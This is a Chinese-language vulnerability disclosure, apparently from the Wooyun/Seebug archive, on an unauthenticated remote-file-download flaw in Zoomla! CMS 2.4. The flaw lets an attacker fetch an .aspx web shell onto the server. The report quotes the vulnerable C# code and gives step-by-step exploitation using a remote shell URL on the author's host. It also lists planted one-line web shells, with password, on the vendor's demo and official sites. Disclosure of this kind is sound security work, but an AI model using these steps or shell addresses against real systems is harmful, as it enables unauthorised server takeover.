### 简要描述:
Zoomla!逐浪CMS软件由上海逐一软件科技有限公司、江西逐浪软件科技有限公司联袂打造,其旗下华夏互联hx008.com开发团队,是华中排名第一的IDC服务商,拥有近十年的网站开发服务经验,一直以来致力于高端的WEB开发,也是国内领先的TOP外包合作商。
作为国产CMS的领先企业和国内首家推出的基于微软公司.NET平台的高端网站内核内容管理系统,Zoomla!逐浪CMS具备八大模块、近百项功能,深得业界好评。
在.NET平台开发的CMS行业,Zoomla!逐浪CMS与四川风讯CMS、北京百榕科技、佛山动易软件等公司,引领国产CMS行业的潮流,已成为业界事实标准。
截止2012年1月10日,Zoomla!逐浪CMS累计被下载次数达到千万人次,其中与CSDN、ChinaZ中国站长站、华军软件、天空下载等网站合作分流下载,并通过展会光盘赠送、邮件投递、程序员聚会现场发布等方式传达,更为Zoomla!逐浪CMS软件积累了较高的用户群体。
建网站,选逐浪。
易上手,功能棒。
质量好,服务善。
高性能,最划算。
关键是下载量 是千万 千万次。。。。。。。。
### 详细说明:
系统版本:Zoomla!CMS2_x2.4
问题文件:/Plugins/WebUploader/RemoteImg.aspx
辅助文件:http://damotools.apphb.com/getimg.aspx (测试写的小shell具体shell的作用可以访问该地址下载查看 内容也可以是一句话 )
```
protected void GetPic_Btn_Click(object sender, EventArgs e)
{
...略
for (int i = 0; i < array.Length; i++)
{
string text2 = array[i].ToLower().Replace(" ", "");
if (string.IsNullOrEmpty(text2) || (!text2.Contains("http") && !text2.Contains("https")))
{
function.WriteErrMsg("错误:" + text2);
}
else
{
string text3 = str + this.RemoveChar(Plugins_WebUploader_RemoteImg.GetFNameFromUrl(text2), 1);
/*这个时候text3为文件保存路径,文件名称为 url最后的文件名 例如 http://baidu.com/123.aspx 那么文件名称为123.aspx*/
Plugins_WebUploader_RemoteImg.DownloadFile(text3, text2, 0, "temp");
text = text + text3 + "|";
}
}
略...
}
```
跟踪这个方法Plugins_WebUploader_RemoteImg.DownloadFile
```
public static void DownloadFile(string vpath, string url, int begin = 0, string flag = "temp")
{
string path = function.VToP(vpath);
int num = 0;
string value = "0";
if (File.Exists(path))
{
SafeC.DelFile(function.PToV(vpath));
}
string directoryName = Path.GetDirectoryName(path);
if (!Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
FileStream fileStream = new FileStream(path, FileMode.Create);
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);/*创建web请求*/
HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();/*获取响应结果*/
long contentLength = httpWebResponse.ContentLength;/*获取响应数据长度*/
long num2 = contentLength / 100L;
Stream responseStream = httpWebResponse.GetResponseStream();
byte[] buffer = new byte[1024];
int num3;
while ((num3 = responseStream.Read(buffer, 0, 1024)) > 0)/*循环读取流中的数据*/
{
fileStream.Write(buffer, 0, num3);/*写入数据*/
num += num3;
if (!((long)num / num2).ToString().Equals(value))
{
value = ((long)num / num2).ToString();
}
}
responseStream.Close();
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
finally
{
fileStream.Close();
}
}
```
利用方式:
打开 :url+/Plugins/WebUploader/RemoteImg.aspx
然后在内容框中输入上面的shell远程地址点击确定即可
如图:
[<img src="https://images.seebug.org/upload/201507/05161220094a774bb89ec9759172432f2139c863.png" alt="dddddddddddd1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/05161220094a774bb89ec9759172432f2139c863.png)
确定后可能会得到下面的两种结果 第一种为:
[<img src="https://images.seebug.org/upload/201507/05161439795b1f13ae8d1768bad403c1f9cb1e62.png" alt="逐浪getshell上传错误.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/05161439795b1f13ae8d1768bad403c1f9cb1e62.png)
第二种:
[<img src="https://images.seebug.org/upload/201507/051614544e325583af4da88df40ac332b55f1bdc.png" alt="写入一个自写的shell.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/051614544e325583af4da88df40ac332b55f1bdc.png)
以上两种均已经成功
得到shell地址为:
/UploadFiles/2015/07/getimg.aspx?u=Damo
文件目录根据日期形成,文件名称请看上面我给代码加的注释。?u=Damo 为了避免百度收录或者别人利用 这里加了一个简单的验证而已
### 漏洞证明:
官方Demo:
一句话地址:http://demo.zoomla.cn/wooyun.aspx 密码wooyun
如图:
[<img src="https://images.seebug.org/upload/201507/05161551e9130642128436d48817b766111f144d.png" alt="逐浪一句话.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/05161551e9130642128436d48817b766111f144d.png)
官网一句话:http://zoomla.cn/wooyun.aspx 密码wooyun
[<img src="https://images.seebug.org/upload/201507/051617296e20b9d02c5814bef2394a678d659d26.png" alt="官网一句话f.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/051617296e20b9d02c5814bef2394a678d659d26.png)
案例:详见官网case
暂无评论